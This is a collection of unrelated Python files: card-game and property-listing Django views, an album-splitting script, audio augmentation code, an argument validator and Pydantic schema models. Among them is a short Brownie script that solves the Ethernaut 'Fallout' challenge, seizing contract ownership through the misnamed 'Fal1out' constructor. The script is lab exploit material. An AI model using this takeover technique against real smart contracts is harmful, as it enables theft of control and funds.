"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

def kingdoms(request):
    kingdoms = KK.Reporter.GetKingdoms()
    #kingdoms = ['Amniss', 'Dee\'Ench', 'Azzroth', 'Fahanzel', 'Labuluu', 'Qsi Tesan']
    cKingdom = random.choice(kingdoms)
    props = KK.Reporter.GetKingdomProperties(cKingdom)
    deck = KK.Reporter.GetKingdomDeck(cKingdom)

    context = {
        'kingdoms': mark_safe(json.dumps(kingdoms)),
        'cKingdom': cKingdom,
        'props': mark_safe(json.dumps(props)),
        'deck': mark_safe(json.dumps(deck)),
    }
    return render(request, 'kingdoms.html', context)

def special_cards(request):
    context = {
        'topRanks': mark_safe(json.dumps({})),
    }
    return render(request, 'special_cards.html', context)

def game_rules(request):
    context = {
        'topRanks': mark_safe(json.dumps({})),
    }
    return render(request, 'game_rules.html', context)

def reference_jx(request, command):

    CU.prog_lg.info("ajax command: " + command)

    if command == 'refresh_kingdom':
        kingdom = request.GET.get('kingdom')
        props = KK.Reporter.GetKingdomProperties(kingdom)
        deck = KK.Reporter.GetKingdomDeck(kingdom)

        results = {
            'props': props,
            'deck': deck,
        }
        return JsonResponse(results, safe=False)

    else:
        msg = "command invalid: " + command
        CU.excp_lg.error(msg)
        return JsonResponse(msg, safe=False, status=404)

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
DATA MANAGER
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

def data_load(request):
    kingdomCards = KK.Importer.GetKingdomCards()
    cardReport = KK.Reporter.GetCardReport()

    context = {
        'kingdomCards': mark_safe(json.dumps(kingdomCards)),
        'cardReport': mark_safe(json.dumps(cardReport)),
    }
    return render(request, 'data_load.html', context)

def manager_jx(request, command):

    CU.prog_lg.info("ajax command: " + command)

    if command == 'import_kingdoms':
        KK.Importer.ImportKingdoms()
        results = KK.Importer.GetKingdomCards()
        return JsonResponse(results, safe=False)

    elif command == 'import_cards':
        KK.Importer.ImportCards()
        results = KK.Importer.GetKingdomCards()
        return JsonResponse(results, safe=False)

    elif command == 'clear_tables':
        KK.Importer.ClearTables()
        results = KK.Importer.GetKingdomCards()
        return JsonResponse(results, safe=False)

    else:
        msg = "command invalid: " + command
        CU.excp_lg.error(msg)
        return JsonResponse(msg, safe=False, status=404)

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
END OF FILE
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""


from django.shortcuts import get_object_or_404
from django.http import JsonResponse

from rest_framework import viewsets

from .models import PropertyAddress, PropertyImage
from .serializers import PropertyAddressSerializer, PropertyImageSerializer, CreatePropertyAddressSerializer

from utils.convertAddress import reverseAddress, getCity

class PropertyAddressView(viewsets.ViewSet):

    def get_queryset(self):
        lat = self.request.query_params.get('lat')
        lng = self.request.query_params.get('lng')
        if lat is None or lng is None:
            queryset = PropertyAddress.objects.all()
        else:
            city = getCity(lat, lng)
            queryset = PropertyAddress.objects.filter(city=city)
        return queryset

    def list(self, request):
        queryset = self.get_queryset()
        serializer = PropertyAddressSerializer(queryset, many=True)
        return JsonResponse({'status': True, 'msg': 'Successfully retrieved categories', 'data': serializer.data})

    def retrieve(self, request, pk=None):
        queryset = PropertyAddress.objects.all()
        address = get_object_or_404(queryset, pk=pk)
        serializer = PropertyAddressSerializer(address)

        return JsonResponse({'status': True, 'data': serializer.data})

    def create(self, request):
        user = self.request.user
        lat = request.data['lat']
        lng = request.data['lng']
        data = reverseAddress(lat, lng)

        data['user'] = user.id

        if 'description' in request.data:
            data['property_description'] = request.data['description']

        address_serializer_class = CreatePropertyAddressSerializer(data=data)

        if address_serializer_class.is_valid():
            address_serializer_class.save()
            return JsonResponse(address_serializer_class.data, status=200)
        return JsonResponse(address_serializer_class.errors, status=400)

    def destroy(self, request, pk=None):
        queryset = PropertyAddress.objects.all()
        address = get_object_or_404(queryset, pk=pk)
        serializer = PropertyAddressSerializer(address)
        address.delete()
        return JsonResponse({'delete': True, 'data': serializer.data})

class PropertyImageView(viewsets.ViewSet):

    def list(self, request):
        queryset = PropertyImage.objects.all()
        image_serializer_class = PropertyImageSerializer(queryset, many=True)
        return JsonResponse({'status': True, 'msg': 'Succesfully retrived categories', 'data': image_serializer_class.data})

    def retrieve(self, request, pk=None):
        queryset = PropertyImage.objects.filter(propertyAddress=pk)
        image_serializer_class = PropertyImageSerializer(queryset, many=True)
        return JsonResponse({'status': True, 'data': image_serializer_class.data})

    def create(self, request):
        image_serializer_class = PropertyImageSerializer(data=request.data)
        if image_serializer_class.is_valid():
            image_serializer_class.save()
            return JsonResponse({'status': True, 'data': image_serializer_class.data}, status=200)
        return JsonResponse({'status': False, 'data': image_serializer_class.errors}, status=400)

    def destroy(self, request, pk=None):
        queryset = PropertyImage.objects.all()
        image = get_object_or_404(queryset, pk=pk)
        serializer = PropertyImageSerializer(image)
        image.delete()
        return JsonResponse({'delete': True, 'data': serializer.data})


#!/usr/bin/env python

import glob
import os
import pathlib
import shutil
from subprocess import call

class AlbumSplitter:
    def __init__(self, album) -> None:
        self.album = album
        self._cue_file = None
        self._flac_file = None
        self._get_cue_file()
        self._get_flac_file()

    def split(self):
        if not self._get_cue_file():
            return

        self._prepare_cue()
        self._convert_to_flac()
        self._split_flac()
        self._remove_flac()
        self._set_tags()
        self._sanitize_filenames()
        self._remove_trash()

    def _prepare_cue(self):
        """
        sed -i '1s/^\xEF\xBB\xBF//' *.cue
        """
        cue_file = self._get_cue_file()
        print('cue_file', cue_file)

        path = pathlib.Path(cue_file)
        text = path.read_text()
        text = text.replace('\xEF\xBB\xBF', '')
        path.write_text(text)

        return cue_file

    def _convert_to_flac(self):
        """
        sox *.wav file.flac
        sox *.wv file.flac
        shntool conv -o flac *.ape
        """
        wav = self._first('*.wav') or self._first('*.wv')
        if wav:
            self._run_cmd(['sox', '-S', wav, 'file.flac'])
        ape = self._first('*.ape')
        if ape:
            self._run_cmd(['shntool', 'conv', '-o', 'flac', ape])

    def _split_flac(self):
        """shnsplit -f *.cue -t '%n - %t' -o flac *flac"""
        self._run_cmd(['shnsplit', '-f', self._get_cue_file(), '-t', '%n - %t', '-o', 'flac', self._get_flac_file()])

    def _remove_flac(self):
        """
        find *.flac -not -regex '[0-9].*flac' -delete
        rm 00\ -\ pregap.flac
        """
        os.remove(self._flac_file)
        pregap_file = pathlib.Path(self.album, '00 - pregap.flac')
        if pregap_file.exists():
            os.remove(pregap_file)

    def _set_tags(self):
        """
        cuetag.sh *.cue *.flac
        """
        self._run_cmd(['cuetag.sh', self._get_cue_file()] + self._all('*.flac'))

    def _sanitize_filenames(self):
        """
        rename -v ':' '' *.flac
        rename -v '?' '' *.flac
        """
        for flac in self._all('*.flac'):
            newname = flac.replace(':', '')
            newname = newname.replace('?', '')
            if newname != flac:
                os.rename(flac, newname)

    def _remove_trash(self):
        """
        rm *.log
        rm -r Scans
        rm -r Covers
        rm *.ape
        rm *.cue
        rm *.wv
        rm *.wav
        """

        files_to_remove = ('*.log', '*.ape', '*.cue', '*.wv', '*.wav')
        for wildcard in files_to_remove:
            for file in self._all(wildcard=wildcard):
                os.remove(file)

        folders_to_remove = ('Scans', 'Covers', 'scans', 'covers', 'Artwork', 'artwork')
        for folder in folders_to_remove:
            shutil.rmtree(pathlib.Path(self.album, folder), ignore_errors=True)

    def _get_cue_file(self):
        if not self._cue_file:
            self._cue_file = self._first('*.cue')
        return self._cue_file

    def _get_flac_file(self):
        if not self._flac_file:
            self._flac_file = self._first('*.flac')
        return self._flac_file

    def _first(self, wildcard):
        files = self._all(wildcard=wildcard)
        return files[0] if files else None

    def _all(self, wildcard):
        items = glob.glob(f'{glob.escape(self.album)}/{wildcard}')
        items.sort()
        return items

    def _run_cmd(self, cmd):
        cmd = list(map(str, cmd))
        call(cmd, cwd=self.album)

class Split:
    def cur_dir(self):
        return pathlib.Path().resolve()

    def run(self):
        current_dir = self.cur_dir()
        self._process_folder(current_dir)

    def _process_folder(self, folder):
        subfolders = [f.path for f in os.scandir(folder) if f.is_dir()]
        subfolders.sort()
        for subfolder in subfolders:
            album_splitter = AlbumSplitter(album=pathlib.Path(folder, subfolder))
            album_splitter.split()
            self._process_folder(folder=subfolder)

Split().run()


import os

import progressbar

from augmentation.expand_data import pitch_up, pitch_down, speed_up, speed_down
from augmentation.reduct_noise import reduce_noise_power, reduce_noise_centroid_s, reduce_noise_centroid_mb, \
    reduce_noise_median, enhance, trim_silence
from augmentation.utils import read_file, output_file

if __name__ == "__main__":
    bar = progressbar.ProgressBar()
    chunk_path = "../../data/chunk"
    for file_name in bar(sorted(os.listdir(chunk_path))):
        y, sr = read_file(os.path.join(chunk_path, file_name))

        # expand data
        y_pitch_up = pitch_up(y)
        y_pitch_down = pitch_down(y)
        y_speed_up = speed_up(y)
        y_speed_down = speed_down(y)

        # reduct noise
        y_reduced_power = reduce_noise_power(y, sr)
        y_reduced_centroid_s = reduce_noise_centroid_s(y, sr)
        y_reduced_centroid_mb = reduce_noise_centroid_mb(y, sr)
        y_reduced_median = reduce_noise_median(y)
        y_enhanced = enhance(y)

        y_reduced_power_trim_silence, _ = trim_silence(y_reduced_power)
        y_reduced_centroid_s_trim_silence, _ = trim_silence(y_reduced_centroid_s)
        y_reduced_centroid_mb_trim_silence, _ = trim_silence(y_reduced_centroid_mb)
        y_reduced_median_trim_silence, _ = trim_silence(y_reduced_median)
        y_enhanced_trim_silence, _ = trim_silence(y_enhanced)

        # save
        output_file(chunk_path, file_name, y_pitch_up, sr, "pch_up")
        output_file(chunk_path, file_name, y_pitch_down, sr, "pch_down")
        output_file(chunk_path, file_name, y_speed_up, sr, "spd_up")
        output_file(chunk_path, file_name, y_speed_down, sr, "spd_down")

        output_file(chunk_path, file_name, y_reduced_power_trim_silence, sr, "_pwr")
        output_file(chunk_path, file_name, y_reduced_centroid_s_trim_silence, sr, "_ctr_s")
        output_file(chunk_path, file_name, y_reduced_centroid_mb_trim_silence, sr, "_ctr_mb")
        output_file(chunk_path, file_name, y_reduced_median_trim_silence, sr, "_median")
        output_file(chunk_path, file_name, y_enhanced_trim_silence, sr, "_enhanced")


import functools

_sentinel = object()

class Argument:
    def __init__(self, required=False, default=None, type=None, to_type=None,
                 validator=None, validator_message='', filter=None):
        self.required = required
        self.default = default
        self.type = type
        self.to_type = to_type if to_type else type
        self.validator = validator
        self.validator_message = validator_message
        self.filter = filter

class ArgumentException(Exception):
    def __init__(self, field, message=_sentinel):
        super(ArgumentException, self).__init__(message)
        self.field = field
        if message is _sentinel:
            if self.field is not None:
                self.message = 'Argument `{}` is required'.format(self.field)
            else:
                self.message = 'Unknown problem with arguments'
        else:
            self.message = message

def arguments(arglist):
    """:Валидатор/фильтратор входных параметров

    Проверяет переданные параметры и отфильтровывает все лишние.
    Аргумент считается не указанным либо если его просто нет в входных аргментах, либо если он None

    Пример использования:
    <pre>
    @arguments({
        'arg_name': Argument(required=False, default=7, type=int, to_type=int,
        validator=lambda x: x > 5, validator_message='must be greater than 5'),
        ...
    })
    def func(self, *args, **kwargs):
        ...

    func(arg_name=1, ...)
    </pre>

    - required (bool)
        Требовать наличия параметра (кидать эксепшн) или тихо игнорировать его отсутствие

    - default
        Дефолтное значение в случае отсутствия параметра и required=False

    - type
        Требуемый тип значения, или None если проверять не надо

    - to_type
        Функция, используемая для приведения к требуемому типу (по умолчанию берётся из type)

    - validator
        функция-валидатор, которая применяется к значению. Если возвращает не True, райзится эксепшн.
        Применяется также и к дефолтному значению. None, если не нужен никакой этот ваш валидатор

    - validator_message
        сообщение, которое выводится в эксепшне, если значение аргумента не проходит проверку валидатором

    - filter
        функция-фильтр, которая принимает на вход переданное значение аргумента и возвращает то, которое будет
        передано в функцию. Например, так можно преобразовывать флаги из dict в int

    :raises ArgumentException
    """

    def _arguments(func):
        @functools.wraps(func)
        def inner(*args, **kwargs):
            checked_kwargs = check_arguments(arglist, kwargs)
            return func(*args, **checked_kwargs)

        inner._has_arguments_ = True
        inner.arglist = arglist
        return inner

    return _arguments

def check_arguments(arglist, kwargs, *, cast_type=False):
    if not isinstance(arglist, dict):
        raise ArgumentException(None, '@arguments expects arg definition as a dict with `Argument` class values')

    filtered_kwargs = {}
    for arg_name, arg_definition in arglist.items():
        if not isinstance(arg_definition, Argument):
            raise ArgumentException(None, '@arguments expects arg definition as a dict with `Argument` class values')

        # check argument existence
        is_default_value = False
        if arg_name not in kwargs and arg_definition.required:
            raise ArgumentException(arg_name, '`%s` argument is required' % arg_name)
        else:
            # not required argument is not specified
            arg_value = kwargs.get(arg_name)
            if arg_value is None:
                if arg_definition.default is not None:
                    arg_value = arg_definition.default
                    is_default_value = True
                else:
                    arg_value = None

        # check argument type
        if arg_definition.type is not None and arg_value is not None:  # None means "any type, do not check"
            if not cast_type:
                if not isinstance(arg_value, arg_definition.type):
                    raise ArgumentException(arg_name,
                                            '`%s` must be `%s`, but got `%s`' %
                                            (arg_name, str(arg_definition.type), str(type(arg_value))))
            else:
                try:
                    arg_value = arg_definition.to_type(arg_value)
                except Exception as e:
                    raise ArgumentException(arg_name,
                                            'Casting `%s` to type `%s` (which has type `%s`) failed: `%s`' %
                                            (arg_name, str(arg_definition.type), str(type(arg_value)), str(e))) from e

        # filter value
        if arg_value is not None and callable(arg_definition.filter):
            arg_value = arg_definition.filter(arg_value)

        # validate value
        if arg_value is not None and callable(arg_definition.validator):
            if not arg_definition.validator(arg_value):
                raise ArgumentException(arg_name,
                                        '%svalue `%s` for argument `%s` was rejected by validator: `%s`' %
                                        ('default ' if is_default_value else '', str(arg_value),
                                         arg_name,
                                         str(arg_definition.validator_message)))

        # all checks passed
        filtered_kwargs[arg_name] = arg_value
    return filtered_kwargs

def has_arguments(func):
    return func.__dict__.get('_has_arguments_', False) and hasattr(func, 'arglist')


from brownie import Fallout
from scripts.helper_scripts import get_account, toWei

def main():
    owner = get_account()
    fallout_contract = Fallout.deploy({"from": owner})

    # constructor function is wrong "Fal1out" instead of "Fallout"
    # So owner is not set when contract is deployed
    # You can call the function Fal1out to become the owner

    hacker_account = get_account(1)

    amount = toWei(0.001)
    tx = fallout_contract.Fal1out(
        {"from": hacker_account, "value": amount}
        )
    tx.wait(1)

    assert(fallout_contract.owner() == hacker_account)


import json
from typing import Any, List, Optional

from pydantic import HttpUrl, validator
from typing_extensions import Literal
import yamale
import yaml

from .base import FauxImmutableModel
from ..paths import FilepathType, LibraryPaths, ModulePaths

__all__ = ["Function", "Module"]

class Tag(FauxImmutableModel):
    # pylint: disable=too-few-public-methods
    name: str
    type: Literal["str", "int", "float"]

class Option(FauxImmutableModel):
    # pylint: disable=too-few-public-methods
    name: str
    type: Literal["str", "int", "float", "bool", "enum"]
    doctxt: str
    required: bool
    enum_values: Optional[List[Any]]
    default: Optional[Any]

    # pylint: disable=no-self-argument,no-self-use
    @validator("name", always=True)
    def _ensure_name_is_valid_identifier(cls, v):
        if not v.isidentifier():
            raise ValueError("option name has to be a valid python identifier")
        return v

    @validator("enum_values", always=True)
    def _check_enum_values_supplied_if_option_is_enum(cls, v, values):
        given_type = values.get("type")
        if given_type == "enum" and (not bool(v)):
            raise ValueError("enum_values required for enum option")
        return v

    @validator("default", always=True)
    def _check_default_is_supplied_if_option_not_required(cls, v, values):
        is_required = bool(values.get("required"))
        if (not is_required) and v is None:
            raise ValueError("default cannot be empty " "when required is False")
        return v

    @validator("default")
    def _cast_default_to_correct_type(cls, v, values):
        given_type = values.get("type")
        if given_type != "enum" and v is not None:
            v = {"str": str, "int": int, "float": float, "bool": bool}[given_type](v)
        return v

    @validator("default")
    def _check_default_is_one_of_enum_values(cls, v, values):
        enum_values = values.get("enum_values")
        if enum_values is not None and v not in enum_values:
            raise ValueError(
                f"permitted values for default: {enum_values} " f"[given: {v}]"
            )
        return v

    # pylint: enable=no-self-argument,no-self-use

class Function(FauxImmutableModel):
    name: str
    doctxt: str
    options: List[Option] = list()
    creates_new_files: bool
    modifies_input_files: bool
    expected_filetype: str
    optional_filetypes: Optional[List[str]]
    output_tags: Optional[List[Tag]]

    # pylint: disable=no-self-argument,no-self-use
    @validator("options", "output_tags", pre=True, always=True)
    def _init_list_if_not_supplied(cls, v):
        return v or list()

    @validator("expected_filetype")
    def _convert_to_lower_and_strip(cls, v):
        return v.lower().strip(" .")

    @validator("optional_filetypes")
    def _map_to_lower_and_strip(cls, v):
        return list(map(lambda x: x.lower().strip(" ."), v)) if v is not None else None

    # pylint: enable=no-self-argument,no-self-use

    def add_option(
        self,
        name: str,
        type: str,
        doctxt: str,
        required: bool,
        enum_values: Optional[List[Any]] = None,
        default: Optional[Any] = None,
    ) -> Option:
        # pylint: disable=redefined-builtin,too-many-arguments

        if name in {o.name for o in self.options}:
            raise RuntimeError(
                f"option {name} already exists " f"for function {self.name}"
            )

        o = Option(
            name=name,
            type=type,
            doctxt=doctxt,
            required=required,
            enum_values=enum_values,
            default=default,
        )

        self.options.append(o)
        return o

    def get_option(self, option_name: str) -> Option:
        filtered = [o for o in self.options if o.name == option_name]

        if len(filtered) == 0:
            raise ValueError(f'cannot find option "{option_name}"')

        return filtered.pop()

    def add_output_tag(self, name: str, type: str):
        # pylint: disable=redefined-builtin
        t = Tag(name=name, type=type)
        self.output_tags.append(t)

class Module(FauxImmutableModel):
    display_name: str
    tagline: str
    doctxt: str
    functions: List[Function] = list()
    icon_url: Optional[HttpUrl]

    # pylint: disable=no-self-argument,no-self-use
    @validator("functions", pre=True, always=True)
    def _init_list_if_not_supplied(cls, v):
        return v or list()

    @validator("icon_url")
    def _check_valid_image(cls, v):
        if v is not None:
            allowed_filetypes = [".jpg", ".jpeg", ".png", ".svg"]
            is_valid = any(v.endswith(ft) for ft in allowed_filetypes)
            if not is_valid:
                raise ValueError(
                    f"{v} is not a valid image URL, "
                    f"allowed file types: {allowed_filetypes}"
                )
        return v

    # pylint: enable=no-self-argument,no-self-use

    def build_function(
        self,
        name: str,
        doctxt: str,
        creates_new_files: bool,
        modifies_input_files: bool,
        expected_filetype: str,
        optional_filetypes: Optional[List[str]] = None,
    ) -> Function:
        # pylint: disable=too-many-arguments

        if name in {f.name for f in self.functions}:
            raise RuntimeError(f"function {name} already exists")

        f = Function(
            name=name,
            doctxt=doctxt,
            creates_new_files=creates_new_files,
            modifies_input_files=modifies_input_files,
            expected_filetype=expected_filetype,
            optional_filetypes=optional_filetypes,
        )

        self.functions.append(f)
        return f

    def get_function(self, function_name: str) -> Function:
        filtered = [f for f in self.functions if f.name == function_name]

        if len(filtered) == 0:
            raise RuntimeError(f'cannot find function "{function_name}"')

        return filtered.pop()

    def validate_with_schema(self, schema_path: Optional[FilepathType] = None):
        schema_path = schema_path or LibraryPaths().module_schema_file
        schema = yamale.make_schema(schema_path)
        data = [(self.dict(), self.__class__.__name__)]
        yamale.validate(schema, data, strict=True)

    def save(self, path: Optional[FilepathType] = None):
        self.validate_with_schema()

        path = path or ModulePaths().module_file

        data = self.dict()
        data["icon_url"] = str(data["icon_url"])

        with open(path, "w") as f:
            f.write(yaml.dump(data, sort_keys=False, default_flow_style=False))

    def serialize(self) -> str:
        data = self.dict()
        data["icon_url"] = str(data["icon_url"])
        return json.dumps(data)

    @classmethod
    def deserialize(cls, data: str) -> "Module":
        data = json.loads(data)
        return cls.parse_obj_and_validate(data)

    @classmethod
    def parse_obj_and_validate(cls, obj: Any) -> "Module":
        module = cls.parse_obj(obj)
        module.validate_with_schema()
        return module

    @classmethod
    def load(cls, path: Optional[FilepathType] = None) -> "Module":
        path = path or ModulePaths().module_file
        with open(path, "r") as f:
            data = yaml.safe_load(f.read())

        return cls.parse_obj_and_validate(data)

    @classmethod
    def build(
        cls,
        display_name: str,
        tagline: str,
        doctxt: str,
        icon_url: Optional[str] = None,
    ) -> "Module":

        data = {
            "display_name": display_name,
            "tagline": tagline,
            "doctxt": doctxt,
            "functions": list(),
            "icon_url": icon_url,
        }

        return cls(**data)